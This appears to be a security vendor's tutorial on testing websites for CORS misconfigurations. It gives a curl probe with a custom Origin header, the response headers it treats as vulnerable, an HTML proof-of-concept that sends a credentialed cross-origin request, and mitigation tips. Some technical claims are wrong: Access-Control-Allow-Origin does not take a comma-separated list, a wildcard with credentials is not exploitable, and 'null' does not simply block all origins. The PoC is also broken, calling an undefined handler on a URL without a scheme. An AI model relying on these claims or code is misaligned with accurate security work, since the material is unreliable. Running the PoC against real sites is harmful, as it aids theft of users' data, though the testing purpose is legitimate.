Pentesting Cross-Origin Resource Sharing (CORS) vulnerabilities

Context: What is Cross-Site Origin Policy?

It's a security feature that controls the access of resources located in other domains and it’s meant to extend the flexibility of the same-origin policy.

The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources outside of the source domain.

The CORS standard uses several HTTP headers to define trusted web origins to allow web applications access different subdomains and third party services. Nowadays so many interactions are made to different resources that is easy to make mistakes while configuring these rules, and that is where CORS vulnerabilities take place.

What headers do you need?

CORS rules allow domains to specify which domains can request information from them by adding specific HTTP headers in the response. There are several HTTP headers related to CORS, but we are interested in two of them in particular: Access-Control-Allow-Origin and Access-Control-Allow-Credentials.

The Access-Control-Allow-Origin header specifies the allowed domains to read the contents of the response. The value can be either a wildcard character *, which indicates that any domain is allowed, or a comma-separated list of specific domains.

# Any domain is allowed
Access-Control-Allow-Origin: *   


# Comma-separated list of specific domains
Access-Control-Allow-Origin: vidocsecurity.com, app.vidocsecurity.com

And the Access-Control-Allow-Credentials header determines whether the domain allows to pass credentials, such as cookies or authorization headers, in the cross-origin request.

# Allowing credentials to be sent
Access-Control-Allow-Credentials: true


# Disallowing credentials to be sent
Access-Control-Allow-Credentials: false

Step 1. Looking for the headers

Open a terminal and send a request to the website with a custom Origin header. It can be performed with the curl command as follows:

curl https://vulnerable-website.com -i -H Origin:pentesting.com

Where -i adds the headers to the body response (because that is what we need) and -H sends a custom header along with the request. In this case, Origin:pentesting.com is our custom header.

Once the above request is sent, check its response in the look for Access-Control-Allow-Origin and Access-Control-Allow-Credentials headers.

Step 2. Comparing response headers

For the application to be vulnerable to Cross-Origin Resource Sharing, in your request's response you should see one of the following set of headers:

# Set 1. Application allows your custom Origin domain
Access-Control-Allow-Origin:pentesting.com
Access-Control-Allow-Credentials:true

# Set 2. Application allows any Origin domain
Access-Control-Allow-Origin:*
Access-Control-Allow-Credentials:true

In the first set of headers, we see that our Origin value is reflected in the Access-Control-Allow-Origin header. Meaning that the vulnerable-website allows to share its resources with you. This is the best case scenario to exploit CORS vulnerabilities.

In addition, the second set of headers also provides the necessary environment to exploit CORS vulnerabilities as the vulnerable-website allows any origin to access its resources

💡

Take into account that the impact is low if Access-Control-Allow-Credentials is set to false, as the browser won't process the responses from authenticated requests.

Besides, if you encounter that your Access-Control-Allow-Origin has a null value it means that the website doesn't allow to share its resources with any origin. Thus, preventing you to exploit CORS vulnerabilities.

# Set 3. Application doesn't allow any Origin domain
Access-Control-Allow-Origin:null
Access-Control-Allow-Credentials:true

Step 3. Creating a CORS PoC

You can create your own Proof of Concept for exploiting CORS vulnerabilities by copying the following source code into an .html file and modifying the vulnerable-website.com with your vulnerable target (which you verified it was vulnerable with the previous steps)

<!DOCTYPE html>
<html>

<head>
    <script>
        function cors() {
            var req = new XMLHttpRequest();
            req.onload = reqListener;
            req.open('get', 'vulnerable-website.com', true);
            req.withCredentials = true;
            req.send();
        }
    </script>
</head>

<body>
    <center>
        <h2>CORS PoC Exploit </h2>
        <h3>Show full page's content</h3>
        <div id="demo">
            <button type="button" onclick="cors()">Exploit</button>
        </div>
</body>

</html>

Step 4. Mitigating CORS vulnerabilities

Cross-Origin Resource Sharing vulnerabilities arise mainly as misconfigurations. Therefore, you should pay attention to your application's behavior to set security rules correctly.

If you have a resource containing sensitive information, then the cross-domain origin should be properly specified without any wildcards.
Only allow trusted sites by whitelisting them. Dynamically reflecting origins from requests could be easily exploitable by a malicious actor.
Avoid whitelisting null origins unless is strictly necessary for your application's correct behavior of documents and sandboxes.
Internal network configuration alone is not enough to secure your connections so avoid using wildcards in internal networks.

We invite you to experience the VIDOC tool firsthand by trying our platform for free. There you'll find a CORS-specific module (among others!) so you can sit back and wait for vulnerabilities to arise. Check it out here.

________________________________________________________________________

Check our other social media platforms to stay connected:‎